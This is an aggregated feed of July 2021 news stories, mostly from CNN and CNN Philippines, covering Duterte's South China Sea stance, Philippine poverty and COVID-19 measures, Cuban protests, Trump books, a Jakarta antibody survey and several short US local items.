In an interview with CNN Philippines, newly-elected President Rodrigo Duterte vowed the government would take action should China move to mine resources in parts of the South China Sea where the country has economic rights.

"[I will bring up the ruling] during my time. I cannot let it pass na balewala na lang (like it was nothing)," Duterte said at the time.

March 2017

Quoting Sansha City Mayor Xiao Jie, news organization Reuters reported that China plans to build environmental monitoring stations on a number of islands, including the Scarborough Shoal. Sansha is a city established by China in July 2012, headquartered on disputed Woody Island in the South China Sea.

Duterte said the Philippines cannot stop Beijings reported plan to build structures on the shoal, noting that going to war against the global superpower may be a losing battle for the country. The chief executive, however, said he would confront China if it tries to take resources from Philippine territory.

April 2017

During a visit to a Palawan military camp, Duterte said he ordered the personnel of the Armed Forces to occupy all Philippines-claimed islands in the South China Sea.

We tried to be friends with everybody but we have to maintain our jurisdiction now, at least the areas under our control, the President said.

May 2017

The Philippines began sending military troops and supplies to reinforce and upgrade facilities on Pag-asa Island, internationally known as Thitu, one of the biggest islands in the disputed Spratlys.

August 2017

The Magdalo party list group released photographs showing the alleged presence of Chinese vessels in Pag-asa. Then-Magdalo Rep. Gary Alejano said his sources "inside the military" reported that Beijing deployed frigates, a coast guard vessel, and large fishing vessels along with militia around the island. The Foreign Affairs Department said the agency would be verifying the information.

November 2017

Before departing for Vietnam for the Asia-Pacific Economic Cooperation Summit, Duterte told reporters he would raise the South China Sea issue with Chinese President Xi Jinping.

The two leaders met on the sidelines of the summit and agreed to pursue diplomacy and cooperation amid the maritime row.

RELATED: Duterte: South China Sea issue 'better left untouched'

January 2018

The government granted China's request to conduct maritime research in the resource-rich Benham Rise or Philippine Rise. Then-Senior Associate Justice Carpio part of the Philippine delegation to the Hague  called this a dumb move, saying China should not be allowed to enjoy rights under UNCLOS while it refuses to accept its obligation under the arbitral award.

RELATED: UP maritime expert disputes Palace claim Filipinos can't afford Benham Rise research

February 2018

Duterte said he will order the Philippine Navy to fire at those who try to exploit the Benham Rise. The following month, he also warned he will wage a war against those who will explore and experiment in the area without permit.

April 2018

The President said he offered a 60-40 sharing deal with China on joint oil and gas exploration in the disputed South China Sea.

November 2018

The Philippines and China signed a memorandum of understanding creating the framework for future talks on the joint exploration. Critics warned it could compromise Philippine sovereignty and sovereign rights.

January 2019

Chinese news outfit Xinhua reported that Beijing established a "maritime rescue center" in the West Philippine Sea.

Then-Presidential Spokesperson Salvador Panelo said the country should perhaps be thankful for the move as it can help distressed seamen, but maritime law expert Prof. Jay Batongbacal described it as Chinas attempt to mask its militarization of the area by highlighting possible civilian benefits or public goods provided by their artificial islands.

April 2019

The military confirmed hundreds of Chinese vessels swarmed the vicinity of Pag-asa island in January to March 2019.

Their presence was met with heavy protests from the Duterte government, which demanded that the Chinese vessels leave Philippine waters. The DFA also filed a diplomatic protest against Beijing.

Duterte said he would ask his soldiers to "prepare for suicide mission" if China does not heed his warning to lay off the island, but he also stressed hed rather go into a compromise instead of war.

June 2019

A Chinese vessel hit the anchored Filipino boat F/B Gem-Ver near Recto Bank, an underwater feature claimed by both Manila and Beijing. This left 22 Filipino fishermen floating at sea for nearly three hours before Vietnamese fishers rescued them.

There is no need for war or even a "convoluted argument" with China, Duterte said, as he called the occurence a little maritime incident. The captain of the sunken ship, however, maintained their boat was intentionally rammed. In August of the same year, Duterte called on China to sanction the crew of the Chinese vessel.

The Department of Justice later said the local fishermen are due civil damages worth over 12 million.

July 2019

Duterte vowed to stop China from fishing in the countrys EEZ in the West Philippine Sea within his term.

Before the month ended, the Philippines also lodged another diplomatic protest against Beijing as more than a hundred Chinese vessels were once again spotted around Pag-asa island.

September 2019

Duterte said the government will ignore the Philippines' arbitral victory to make way for joint oil and gas exploration with Beijing.

He said Chinese President Xi had promised to give the Philippines the bigger chunk  60 percent  of the revenues from the planned joint exploration. In exchange, China wants the Philippines to "set aside the arbitral ruling."

February 2020

Defense Secretary Delfin Lorenzana confirmed Chinese ships have once again been present near Pag-asa Island.

April 2020

The country filed a diplomatic protest anew after China declared parts of Philippine territory to be under its Hainan province. It also protested Beijings alleged pointing of a radar gun at a Philippine Navy ship in Philippine waters.

July 2020

On the fourth anniversary of the arbitral victory, Foreign Affairs Secretary Teodoro Locsin, Jr. reaffirmed the Philippines commitment to the award, saying it is non-negotiable. China, on the other hand, continued to reject the tribunal's decision, calling it "illegal and invalid."

In his fifth State of the Nation Address, Duterte said he cannot go to war against Beijing over the sea row, noting the Philippines does not have the resources to take on China. Critics have repeatedly said, however, that standing up for the nations right doesnt automatically mean asking for war with the region's giant.

September 2020

France, Germany, and the United Kingdom issued a joint note verbale to the UN recognizing the Hague ruling favoring the Philippines.

A few days later, Duterte affirmed this 2016 victory when he appeared in the UN General Assembly. But while this pronouncement earned praise, his spokesperson Harry Roque later clarified the ruling will remain on the shelf consistent with government policy.

October 2020

Duterte approved the lifting of the moratorium on oil and gas exploration in the West Philippine Sea, paving the way for the resumption of drilling activities in the waters and the planned joint exploration with China.

His predecessor, former President Benigno Aquino III, issued the moratorium in 2012 amid rising tensions between the two countries.

March 2021

Over 200 Chinese ships suspected to be maritime militia were spotted at the Julian Felipe reef, also known as Whitsun reef, which is well within the Philippines EEZ. A day after this was reported to the media, Locsin filed a diplomatic protest against Beijing.

China claimed the ships were not militia but fishing vessels taking shelter from bad weather. The DFA said these are "blatant falsehoods."

Calling the ships presence a clear provocative action of militarizing the area," Defense Secretary Delfin Lorenzana also demanded that they withdraw from Philippine waters. Later, Malacanang said Duterte and Chinese Ambassador to the Philippines Huang Xilian discussed the issue, where the President raised Manila's arbitral win.

By month-end, the National Task Force for the West Philippine Sea said some 44 Chinese vessels are still at the reef while more than 200 others have moved to different areas in the West Philippine Sea.

April 2021

The DFA warned a diplomatic protest will be lodged for each day the Chinese vessels refuse to leave the West Philippine Sea. It also summoned Chinese envoy Huang over the matter.

The Armed Forces of the Philippines later launched a probe into the reported harassment of ABS-CBN television crew members who were onboard a Filipino civilian vessel when reportedly chased down by two missile attack craft of the Chinese Navy even as they were well within the Philippines EEZ.

In the same month, the European Union said the lingering presence of the ships in Philippine territory endangers peace and stability in the region. It urged all parties to resolve disputes through peaceful means as it also cited the 2016 arbitration award.

But repeating his narrative of war, Duterte in his address to the nation said the only way the Philippines can reclaim its areas being occupied by China is through a bloody battle which it cannot win.

Still, he said he would deploy navy ships to the area if Beijing conducts oil drills inside the EEZ. In a separate public address, he also said that while the country owes China a debt of gratitude, he cant compromise on the sea issue.

RELATED: Del Rosario to Duterte: Standing up for nation's rights is not war vs. China

May 2021

Duterte said he never promised to retake the West Philippine Sea from China when he sought the countrys top post in 2016. This is contrary to his controversial remark during the campaign period, where he said he would ride a jet ski to plant a Philippine flag on man-made islands occupied by China.

He later said the jet ski promise was a pure campaign joke.

In a widely denounced statement, the President also called the arbitral win against China a mere scrap of paper that he can throw away in a trash bin.

June 2021

In a special assembly of foreign ministers, the Association of Southeast Asian Nations and China vowed to avoid activities that could escalate tension in the South China Sea.
Metro Manila (CNN Philippines, July 14)  The COVID-19 crisis has taken away the dignity of choice for millions of Filipinos left poorer and hungrier in the past year of lockdowns.

Noong bago yung pandemic, okay-okay naman po, nakakaraos-raos pero nitong nag-pandemic talagang hirap, hirap sa buhay [Before the pandemic, we were okay and getting by but now, life is really hard], said Jocelyn Borromeo-Lumibao, a mother of three.

'Pag meron eh di meron, pag wala, wala. Ganoon lang po talaga ang buhay [If we have money, great. If we dont have money, we just have to accept it. Such is life].

The 42-year-old has been making a living giving manicures. When the pandemic hit, she lost her customers while her construction worker husband could not go back to work  part of over 7 million people rendered jobless in April of 2020.

Sewing cloth rags became her bread and butter together with relatives in a narrow alley in Bagong Barrio, Caloocan City. She makes 30 per 100 rags, so the goal is to make heaping bundles each time. Her husband who got laid off in 2020 signed up as a tanod (a local peace and security officer) in their barangay to earn a daily allowance, which tided them over from April to December.

The 2,600 monthly aid from the Pantawid Pamilyang Pilipino Program covered most of their needs, but never enough.

Poverty on the rise

The Lumibaos are part of over 3 million Filipino families living in poverty as of 2018, down from 4.1 million in 2015.

However, a November 2020 Social Weather Stations survey showed about half of an estimated 25 million Filipino families considered themselves poor. Two million of them said they only became poor in the last four years  or within President Rodrigo Dutertes term.

Economic Planning Secretary Karl Kendrick Chua admitted in September that pandemic-induced lockdowns drove more people into substandard living conditions.

Even the World Bank said an additional 2 million people likely became poor in 2020 due to the COVID-19 crisis. Pulling them out of poverty would require faster economic recovery to bring back jobs, along with more cash subsidies.

This put Dutertes goal of trimming the poverty rate to 14% of Filipinos from 23.5% six years ago in question. Chua, who is concurrent director-genral of the policymaking National Economic and Development Authority (NEDA), insists its still doable.

Prices surged in the past couple of years, but jobs and wages were unable to keep up. For those who still had jobs, the minimum salary rose by an average of 19.2% over the last four years  13 a day or 260 a month  against a 21% surge in food costs.

READ: Hunger a big problem as surging food prices part of 'new normal'

For the Lumibaos, this meant meals with little to no sustenance and a pitch-black home  they have not paid their electricity bill for months now.

Madalang kami magbaboy kasi sobrang mahal. Siguro itlog, hotdog, pero madalang mag-manok kasi sobrang mahal po ngayon. Minsan sa isang linggo po, isang beses makatikim (ng baboy), she explained. Kapag may gustong ipabili yung mga anak namin tulad namin, walang pera, kailangan talaga tiis-tiis.

[Translation: We rarely eat pork because its expensive. Its usually eggs or hotdogs  we also cant afford chicken these days. Once a week we get to eat pork. If our kids want something for people like us with no money to spare, we just have to endure.]

With very little budget, Lumibao said she has perfected the skill of preparing lunch for her kids and their extended family for 100.

That day, they had a bowl of instant noodles, a serving of viand from a local karinderya (eatery) and a mound of rice to share.

Food insecure

Supply issues for rice in 2018 and pork and chicken in 2021 drove prices up, burning a hole into Filipinos already shallow and empty pockets.

Imports became the quick fix for the Department of Agriculture, which allowed record shipments of rice and frozen meat from abroad at cheap tariffs. But while meat prices have remained high, the tariff cuts slashed government revenues that could have gone to more development projects.

Bayanihan, the Filipino spirit of working together, provided some relief to starving stomachs as private donations and community pantries sprouted, but even these were gobbled up by controversies.

The Maginhawa community pantry started the nationwide trend in April 2021

Is this sustainable?

Former NEDA chief Arsenio Balisacan, an agriculture economist, said the importation was needed to protect the poor from surging prices but noted that the long-term solution is really additional investments in the sector to improve yields. This would reduce the need for imports while boosting farmer incomes.

Productivity growth is not a manna from heaven that just comes in, added Balisacan, who now heads the Philippine Competition Commission as chairman. You cannot import the solutions to the problems of our farmers. We have to invest in local technologies that are responsive to the needs of our farmers and their various conditions.

You may have the enough supply for everyone potentially, but do your consumers have the income to avail of that supply? Of course, for the poor that's a major concern, he said. The high prices and the low incomes could affect their food security.

Lack of access to healthy food could hurt learning, job prospects and future earnings of children.

The government now faces a daunting task: how do we feed over 109 million people and keep them out of poverty?

Mahirap talaga yung buhay ngayon. Hindi ko masabi kung babalik ba talaga (sa dati), magiging normal ba o abnormal. Sunod na lang tayo sa agos, Lumibao said.

[Translation: Life is really difficult these days. I cant say for sure if we can really go back to normal or not. Well just go with the flow.]

OPINION: The poor shouldn't be blamed for their poverty

NEDA's Chua was an economist at the World Bank Philippine Office before he was asked to join the Department of Finance for his writings on tax administration.

In August 2014, Chua wrote in a World Bank blog that for the Philippines to be able to pull more of its citizens out of poverty, the government must address an "urgent need to invest more in infrastructure, health, and education. This requires new sources of tax revenues."

The Duterte administration has tagged new sources of tax revenues. Today, with the economic horizon remaining under a cloud due to the continued threat of a prolonged COVID-19 pandemic, prospects toward regaining prosperity levels inherited from previous administrations are dim.

In his 2014 blog, Chua concluded that: "...any taxpayer would want to make sure that her tax contribution from her hard-earned money is not wasted. Thus reforms to improve transparency and accountability of government spending are necessary before we can expect richer Filipinos to contribute more."

There lies another crucial challenge that the Duterte administration needs to overcome before it can achieve durable foundations on which poverty and hunger can be alleviated.
Metro Manila (CNN Philippines, July 14)  The OCTA Research group is pushing to retain Metro Manila under general community quarantine until the end of July.

Sa NCR (In the National Capital Region) I think we should continue with the GCQ, OCTA Research fellow Ranjit Rye said in response to queries what the next quarantine restriction in the region should be as current protocols are set to lapse on July 15.

Rye explained that this is because of the threats posed by the more transmissible Delta variant, which has been driving the number of cases in other countries.

Mukhang (It seems like) we are not yet ready for MGCQ (modified general community quarantine)," he stressed. "Definite na iyon [That's definite]."

We do not qualify eh even based on governments criteria for MGCQ, we wont qualify as of now, he added.

Instead, the expert said what the government should do is strengthen the enforcement and monitoring of health protocols since many Filipinos are getting complacent.

Rye also said the government should continue prioritizing the NCR Plus 8  composed of Metro Manila, Bulacan, Cavite, Laguna, Rizal, Pampanga, Batangas, Cebu and Davao -- in its vaccination drive since majority of the cases are concentrated there.

Even with the arrival of the first shipment of the Johnson & Johnson vaccines, officials should ensure that every dose count given the limited supply of COVID-19 shots in the country, he added.

RELATED: DOH says first shipment of J&J shots arriving on July 19, bares prioritization list

Kapag ginawa ng gobyerno, hindi lang niya tinutulungan ang NCR Plus 8, tinutulungan niya ang buong bansa, kasi babagsak ang COVID cases doon sa lugar na iyon, mabubuksan ang ekonomiya sa mga lugar na iyon, he pointed out.

[Translation: If the government does that, it does not only help the NCR Plus 8, but the whole country as well because cases in the area will decline, and economy in that area will reopen.]

The country has so far received over 20 million coronavirus doses, with around 3.5 million Filipinos now fully protected from the virus.

By November, the government aims to immunize up to 60% of the population, with focus in Metro Manila, to achieve the so-called population protection. It means reducing the number of deaths and hospitalized patients through vaccination.
Metro Manila (CNN Philippines, July 14)  The Inter-Agency Task Force for the Management of Emerging Infectious Diseases has approved the extension of travel restrictions on India and six other countries until July 31, the Palace announced on Wednesday.

Presidential and IATF Spokesperson Harry Roque confirmed during his regular noon briefing that entry restrictions on travelers from India, Pakistan, Bangladesh, Sri Lanka, Nepal, United Arab Emirates, and Oman has been extended until the end of the month.

The current ban, imposed to prevent the spread of the highly transmissible Delta coronavirus variant first discovered in India, was set to lapse Thursday, July 15.

Roque added the IATF technical working group has also been instructed to review further and make recommendations on the appropriate testing and quarantine protocols for travelers coming from these nations and other countries that may be identified as high-risk.

There are 4,500 stranded overseas Filipino workers in the UAE, according to the Department of Labor.

Three more repatriation flights will be mounted by the Department of Foreign Affairs for these workers before the end of the month.

CNN Philippines correspondent Tristan Nodalo contributed to this report.
Metro Manila (CNN Philippines, July 14)  Another one million government-procured Sinovac vaccines doses arrived in the country on Wednesday. This is part of the 2.5 million COVID-19 shots from the Chinese manufacturer to be delivered this week.

Vaccine czar Carlito Galvez Jr. said the 2.5 million vaccine doses from Sinovac will mostly be allocated for second dose. The vaccines can be administered immediately since the certificate of analysis, which has been a cause of delay in the previous shipments, has been submitted.

The official added that regions outside of the National Capital Region can expect bigger allocations in the coming weeks.

"Starting July, magkakaroon na tayo ng [We will have] more or less equitable distribution," he said during the arrival ceremony.

A total of 21.779 million vaccine doses have arrived in the country since March, with 3.8 million Filipinos completing their vaccination. Another 9.93 million people have received their first dose.

The country's first ever shipment of Johnson & Johnson single-dose vaccines and the AstraZeneca shots ordered by the local governments and private sector will arrive next week. Another 2.5 million Sinovac shots will be delivered on July 21.

Galvez added that the Philippines administered its highest single-day vaccination on Tuesday at 375,059.
(CNN)  Anti-government activists in Cuba say that more than 100 people have been arrested or are missing on the island following widespread protests on Sunday.

One person died during clashes with police on Monday, Cuba's Ministry of Interior said Tuesday, according to state-run Radio Rebelde.

The Movimiento San Isidro, which advocates for greater artistic expression in Cuba, published a list of activists that it said were believed to have been detained by authorities.

Among the detainees is journalist Camila Acosta, according to Spain's Foreign Minister Jose Manuel Albares, who called for her release.

The Interior Ministry said the man who died and other protesters had attacked officials.

On Sunday, CNN journalists witnessed multiple people being forcibly arrested and thrown in the back of vans at protests in Havana. Videos of the protest showed demonstrators turning over a police car and throwing rocks at officers.

The Cuban government has not said how many people were arrested or injured in the disturbances.

These are the largest protests on the island in decades, as Cubans complained about a lack of food and medicine as the country undergoes a grave economic crisis aggravated by the Covid-19 pandemic and US sanctions.

In San Antonio de los Banos, a city of about 46,000 people to the west of Havana, hundreds of Cubans took to the streets on Sunday, fed up after nearly a week of electricity cuts during the sweltering July heat.

"Everyone was in the streets," one resident, who did not want to be named, told CNN. "They have gone six days with only 12 hours of power each day. That was one of the things that blew this up."

In a nationally televised address later on Sunday, President Diaz-Canel blamed US trade sanctions for the communist-run island's economic woes.

Diaz-Canel also urged his supporters to physically confront the protestors. "The order to combat has been given," he said at the end of his appearance, "Revolutionaries need to be on the streets."

The government also held a meeting on Sunday to discuss the protests, according to state media. It was attended by high-ranking members including former President and Communist Party head Raul Castro, the brother of former President Fidel Castro.

Castro retired his last leadership role in April before turning over power to his handpicked successor Diaz-Canel. At the time, Diaz-Canel said Castro would be consulted on all major issues impacting the island.

Journalist detained

Acosta, the detained journalist, writes for the ABC newspaper in Madrid, the Spanish capital.

ABC reported that she was arrested on Monday morning in Havana as she left her home. Later, Cuban security agents searched her home and took her computer, it said. Hours earlier, she had reported on anti-government demonstrations in the Cuban capital on Sunday.

This is not the first time that Acosta has had a run-in with Cuban authorities for doing her job as a reporter, ABC said.

The newspaper said that her arrest is "completely unacceptable." It also called for Acosta's "immediate release and the return of all professional material taken from her home," as well as the dropping of the charges against her for alleged crimes against Cuban state security.

An editor at ABC confirmed to CNN that Acosta is a Cuban national and had been working at the paper for around six months.

Spain's Foreign Minister Albares called for her immediate release in a tweet, saying that, "Spain defends the right to free and peaceful demonstrations and asks the Cuban authorities to respect that. We defend human rights."

US President Joe Biden has warned the Cuban government not to crack down on its newly defiant citizens. But on Monday, at another lengthy televised government meeting, Diaz-Canel said the protesters were criminals.

"They stoned the police force, damaged cars," he said. "A behavior that's completely vulgar, completely indecent."

Cuban government officials on Monday said there had been no more protests as they enacted an internet blackout. This prevented Cubans from sharing images of demonstrations that had gathered momentum behind the protests in the first place.

Meanwhile, US-Cuban relations are at their lowest point in years. The Trump administration enacted some of the toughest economic measures against Cuba in decades, and so far, the Biden administration seems reluctant to lift them.

Biden's review of Trump's policy is still underway, an administration official confirmed. Several months after taking office, he has yet to fulfill his campaign pledge to "go back" to the full diplomatic relations put in place by former President Obama.

Whether Biden will ultimately follow through remains to be seen. Sen. Menendez, a strong opponent of Obama's policies and the powerful chairman of the Foreign Relations Committee, hinted Monday that he thinks Biden might not, after reviewing "all the openings that President Obama made, which were one-sided, unilateral in terms of concessions."

US State Department spokesman Ned Price on Tuesday called on the Cuban government to show restraint and stop its internet blackout.

In Miami, the center of the Cuban exile community in the United States, protesters have taken to the streets in support of the anti-government demonstrators. On Tuesday, parts of the Palmetto Expressway was shut down by protesters, according to Lt. Alex Camacho of the Florida Highway Patrol.

The US Coast Guard has issued a statement urging Cubans on the island "to not take to the sea," noting the "dangerous and unforgiving" transit across the Florida Straits has claimed nearly 20 lives in recent weeks, according to Rear Adm. Eric Jones, commander of the Seventh Coast Guard District in Miami.

The already struggling Cuban economy has been hit hard as tourism and good imports have dropped steeply during the pandemic. On Sunday, Cuban health officials also reported a record single-day increase for new Covid-19 cases and deaths.

On Monday, Mexican President Andres Manuel Lopez Obrador joined Cuban officials in calling for the US to suspend the Cuba trade embargo as a humanitarian gesture. "No country in the world should be fenced in, blockaded -- that's the opposite of human rights," he said.

When asked why Biden had not yet reversed Trump's policies towards Cuba, White House Press Secretary Jen Psaki said Monday the US had continued to provide humanitarian assistance and medical supplies, but added, "I have nothing to preview for you in terms of a change of policy."

And US Secretary of State Tony Blinken has pushed back against criticism from the Cuban government, saying "it would be a grievous mistake for the Cuban regime to interpret what is happening in dozens of towns and cities across the island as the result or product of anything the United States has done."

"That is what we are hearing and seeing in Cuba, and that is a reflection of the Cuban people, not of the United States or any other outside actor," Blinken said.

Correction: An image that accompanied some earlier versions of this article showed pro-government supporters but was used to describe anti-government protests. The image has been replaced.

This story was first published on CNN.com, "One reported dead in anti-government protests in Cuba."
(CNN)  Donald Trump's final days as president were defined by near-total chaos as House Democrats moved to impeach him for his action (and inaction) during the January 6 riot at the US Capitol even as the soon-to-be-former president sought to use the power of his office to settle scores and reward loyalists.

And yet, even amid those last, wild days, there was a sense that for as bad as everything we could see was, there was even worse stuff going on behind closed doors that wouldn't be made public until Trump left office, and the true reportorial digging began.

Which brings me to Tuesday, when two highly anticipated Trump books -- Michael Bender's "Frankly We Did Win This Election," and Michael Wolff's "Landslide" -- went on sale, with a third book -- "I Alone Can Fix It" by Carol Leonnig and Philip Rucker -- scheduled to be released in seven days' time.

All three books focus on Trump's last year in office. And all three present what can only be described as a terrifying picture of a president consumed by personal hatred and unwilling to even consider the limits his predecessors had placed on themselves in office.

The stories that have already emerged paint a scary picture. Trump calling for the execution of whoever leaked that he had been taken to the White House bunker while Black Lives Matter protesters were marching through the streets of Washington in the wake of the murder of George Floyd in May 2020. His volcanic reaction when Arizona was called for Joe Biden on election night. Trump raging at then-Attorney General Bill Barr about (nonexistent) voter fraud. A shouting match between Trump and chairman of the Joint Chiefs of Staff Gen. Mark Milley over the appropriate response to the BLM protests engulfing the country in the summer of 2020.

There are more stories that have emerged from these books. And there will be even more once readers -- and reporters -- get their hands on the hard copies and are able to do their own digging into Trump's final days.

But these stories also present a problem: Each one is, yes, appalling. But the nature of our news cycle is such that even as I was writing this piece, I was struggling to remember the individual stories that had already come out of the books.

The stories that come out of these books -- released to gin up excitement and, more importantly, sales in advance of their releases -- tend to be fleeting, shining bright for a brief moment when the political universe is all staring at them but quickly disappearing into the vastness of our broader news consumption.

That fact is why it's important not to get too caught up in any one revelation that has or will emerge from these books and instead take a step back and see the broader reality being painted here.

And that reality is this:

* Faced with a once-in-a-century public health crisis, Donald Trump not only drastically mishandled some of the basics (rapid testing for Covid-19, mask-wearing) but also actively worked to undermine public confidence in the very doctors, epidemiologists and public health experts who were working to keep Americans safe.

* Unable to accept that he had lost the election, Trump sought to use the official powers of the government -- including the Justice Department -- to try to find non-existent evidence of fraud. He created an environment in which a large chunk of Americans believed this Big Lie about the election and then not only incited the January 6 crowd but also stood by for hours as they ransacked the Capitol.

* Trump, who repeatedly told crowds during the campaign that he had done more for Black people than any president since Abraham Lincoln, failed to grasp either the gravity or the goals of the Black Lives Matter protests. He saw the racial justice protests as nothing more than an uprising against HIM -- and tried to force the military to deploy to states where the marches were most prevalent.

This is, in sum, a man deeply unfit for the presidency. (That is not a partisan statement. It is a statement of fact based on the clear portrait we have of how Trump behaved while in the most powerful office in the country.) A man who, by his inability to understand the sanctity of the office he held, threatened to destroy that sanctity for those who would follow him into the White House. And a man who was, without any question, an active danger for every single American -- whether they supported or opposed him.

THAT needs to be the takeaway from these books. THAT is the forest through the trees. And THAT is the truth that voters needs to hear if and when Trump tries to reclaim the presidency in 2024.

This story was first published on CNN.com Yes, Donald Trump's final days in office were even worse than we thought
(CNN)  Nearly half of Jakarta's residents may have contracted Covid-19, according to a health survey  more than 12 times the number of cases officially recorded in the Indonesian capital at the time when the research was carried out.

The survey, published July 10, tested for coronavirus antibodies in the blood of about 5,000 people across the city from March 15-31. The results showed 44.5% of those tested had antibodies, indicating they had been infected with Covid-19.

The report was a collaboration between the Jakarta Provincial Health Office, the University of Indonesia's Faculty of Public Health, the Eijkman Institute for Molecular Biology and staff from the US Centers for Disease Control and Prevention (CDC) based in Indonesia.

Jakarta has a population of about 10.6 million, government figures show. According to the researchers, as many as 4.7 million people may have been infected in the capital by March 31.

"Through this survey, we can estimate the proportion of Jakarta residents who have been infected by the SARS CoV-2 virus, whether identified by PCR tests or not," said Widyastuti, head of Jakarta's Provincial Health Office, in an online press conference on July 10, state-run news agency Antara reported.

According to Indonesian Health Ministry data, Jakarta had recorded more than 382,000 cases of Covid-19 on March 31, when the survey ended. By Tuesday, that number had shot up to 689,243.

This uptick in the capital comes as Indonesia  the world's fourth most populous nation  faces a dire stage in its battle with the pandemic, recording tens of thousands of daily cases and up to 1,000 deaths a day nationwide in one of Asia's worst outbreaks.

Hospitals across the country, notably on the island of Java  where Jakarta is located  have been pushed to the brink by the spread of the highly infectious Delta variant, with several cities including the capital placed under partial lockdown.

Dr. Pandu Riono, an epidemiologist from the University of Indonesia's school of public health, said the survey found some people are at higher risk than others, Antara reported.

"People in densely populated areas are more susceptible to being infected with Covid-19," he said. "The higher the body mass index, the more infected, in this case [those who are] overweight and obese. People with high blood sugar levels are also more at risk."

The report also found the highest number of antibodies in the 30-49 age group and that infection rates were higher in women.

The results fall in line with health experts' fears that Indonesia's Covid-19 crisis may be more severe than official numbers suggest, with the country initially slow to test and contact trace. At first, authorities did not realize how quickly the virus had been spreading in this latest wave, Health Minister Budi Gunadi Sadikin previously told CNN.

Focus on vaccinations

Scientists have found it's likely that people recovering from coronavirus have some immunity  but it's not clear how strong it is or how long it lasts.

Herd immunity is the idea that a disease will stop spreading once enough of a population becomes immune, however, the researchers were wary of attributing the high percentage of antibodies found in their survey to herd immunity.

"In an open city like Jakarta  which has high intra- and inter-region mobility  it is hard to achieve herd immunity," the researchers said.

Jakarta should instead focus on vaccinating residents to build immunity to the virus, they added.

Indonesia has fully vaccinated just 5.5% of its population, according to CNN's Covid-19 vaccine tracker. In Jakarta, more than 1.95 million people  or about 18% of the population  have been fully vaccinated, according to Health Ministry data.

Indonesia has mostly relied on Sinovac in its national Covid-19 vaccination rollout that started in January. Concerns have been raised in recent weeks about the efficacy of the Chinese vaccine against more infectious variants after hundreds of health workers contracted the disease despite being vaccinated, with dozens hospitalized.

Health minister Budi said in a news briefing Friday that all health workers would receive a third shot of Moderna's mRNA vaccine, Antara reported. The first shipments of the vaccine were sent to Indonesia from the United States over the weekend.

"We have agreed that the Moderna vaccine will be given as a third dose to provide maximum immunity to the existing viral mutations," he said.

This story was first published on CNN.com, "Almost half of this capital city's population may have contracted Covid-19, survey finds"
The Columbus Public Schools Board of Education announced during its regular meeting this week that it is against the Nebraska Department of Education's proposed health standards.

In short, the Board announced it believes the current proposed standards violate parents' rights to talk to their children about topics that relate to sexual content. The current draft of the standards includes a section about teaching students in elementary and middle schools about nontraditional family structures, gender identity and anal and oral sex.

Opponents of these standards  which includes Gov. Pete Ricketts - say it will expose children too young of an age to learn about sexual matters. Meanwhile, proponents believe it will make schools a more welcoming environment, as well as lessen bullying and prevent suicides.

CPS Board President Doug Molczyk read a statement during the meeting, which had around a dozen attendees.

It states, The Board has determined that the district will not adopt or utilize the Health Education Standards proposed by the Nebraska Department of Education during the 2021-2022 school year. The school district will continue to use the health standards and curriculum they currently use.
IOWA CITY, Iowa (AP)  Gov. Kim Reynolds said Monday that Iowa will cover the cost of troopers sent to Texas to fight crime along the U.S. border with Mexico, confirming the state would fund the mission after the release of agreements showing the effort would come at no cost to Texas."

Since Reynolds announced June 24 that she would join other Republican governors in sending forces to the border, her administration has argued Texas could later reimburse Iowa for expenses under a multi-state compact. However, Iowa's assistance agreements released to The Associated Press on Monday stated that Texas and Arizona asked other states to absorb the associated costs with this mission for the good of the country.

Iowa is donating this resource, according to the agreements, signed by the director of Iowa Homeland Security and Emergency Management on July 2 and released by the department under the open records law.

Later Monday, Reynolds was asked at a news conference in Nebraska who would pay for the deployment, and she acknowledged the costs would fall to her state.
Author: Tom Dardick and Chris Dardick

Where the author lives: Tom Dardick lives in Enola, and Chris Dardick lives in Charles Town, West Virginia

Title of book: Sudden Onset

Description: UC Berkeley Professor of Microbiology, Dr. Mira Wallace, is brilliant, driven and single-minded. She must find out how life on earth began. Maybe its her autism, maybe its something in her past, but she suffers the most extreme environments on Earth in the search for ancient life. In the genetic codes of those simple microbes, she finds clues to help her solve one of natures most challenging puzzles.

As the story begins, we find her in Antarctica, risking life and limb in the nearly-impossible effort to sample an ancient subterranean lake. Success within her grasp, the U.S. Army summons Mira to investigate a mysterious biological threat in a southern Utah desert.

SONA (Sudden Onset Necrosis Agent) is a new pathogen unlike anything known to science. Resilient and aggressive, it threatens Earths entire biosphere, making Mira fear that she may have just found deadly evidence of the ancient life shes been searching for.
After being closed for more than a year, the H. Ric Luhrs Performing Arts Center at Shippensburg University will start selling tickets Thursday for two new fall performances.

The Luhrs Center announced that tickets go on sale starting at 11 a.m. Thursday for the Nitty Gritty Dirt Band concert and a performance of The Nutcracker.

The Nitty Gritty Band will take the stage at 7:30 p.m. Saturday, Oct. 9. The bands members have changed over the years, but the current six-member lineup includes Jeff Hanna on acoustic and electric guitar, Jimmie Fadden on drums and harmonica, Bob Carpenter on keyboards, Jim Photoglo on bass and acoustic guitar, Ross Holmes on the fiddle and mandolin, and Jaime Hanna on electric and acoustic guitar, with all six members singing.

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Reserved tickets for the show are priced at $55, $45, $35 and $25, depending on seating.

A version of The Nutcracker will take the stage early for the Christmas season with a Wednesday, Nov. 17 performance at 7:30 p.m. The performance will feature brand new choreography and productions by Andrey Litvinov, performed by the State Ballet Theater of Ukraine, which first put on the show on Dec. 30-31, 2020. This performance is part of the companys tour in the United States and Canada.
Many device manufacturers have increasingly designed products to make them difficult to repair without specialized equipment and instructions, but that may change soon.
CARLISLE  The disinterred remains of nine Native American children who died more than a century ago while attending a government-run school in Pennsylvania were headed home to Rosebud Sioux tribal lands in South Dakota on Wednesday after a ceremony returning them to relatives.

The handoff at a graveyard on the grounds of the U.S. Armys Carlisle Barracks was part of the fourth set of transfers to take place since 2017. The remains of an Alaskan Aleut child were returned to her tribe earlier this summer.

We want our children home no matter how long it takes, said U.S. Interior Secretary Deb Haaland, who in June announced a nationwide investigation into the boarding schools that attempted to assimilate Indigenous children into white society.

Haaland, the first Native American to serve as a Cabinet secretary, said at the event that forced assimilation practices stripped away the childrens clothing, their language and their culture. She said the government aims to locate the schools and burial sites and identify the names and tribal affiliations of children from the boarding schools around the country.

Nearly a thousand unmarked graves have been discovered in recent months at former residential school sites for Indigenous children in Canada.
When they did respond, the report said, FBI officials made "numerous and fundamental errors" and also violated bureau policies. Among the missteps was a failure to conduct any investigative activity after until more than a month after a meeting with USA Gymnastics. Agents interviewed by phone one of three athletes, but never spoke with two other gymnasts despite being told they were available to meet.

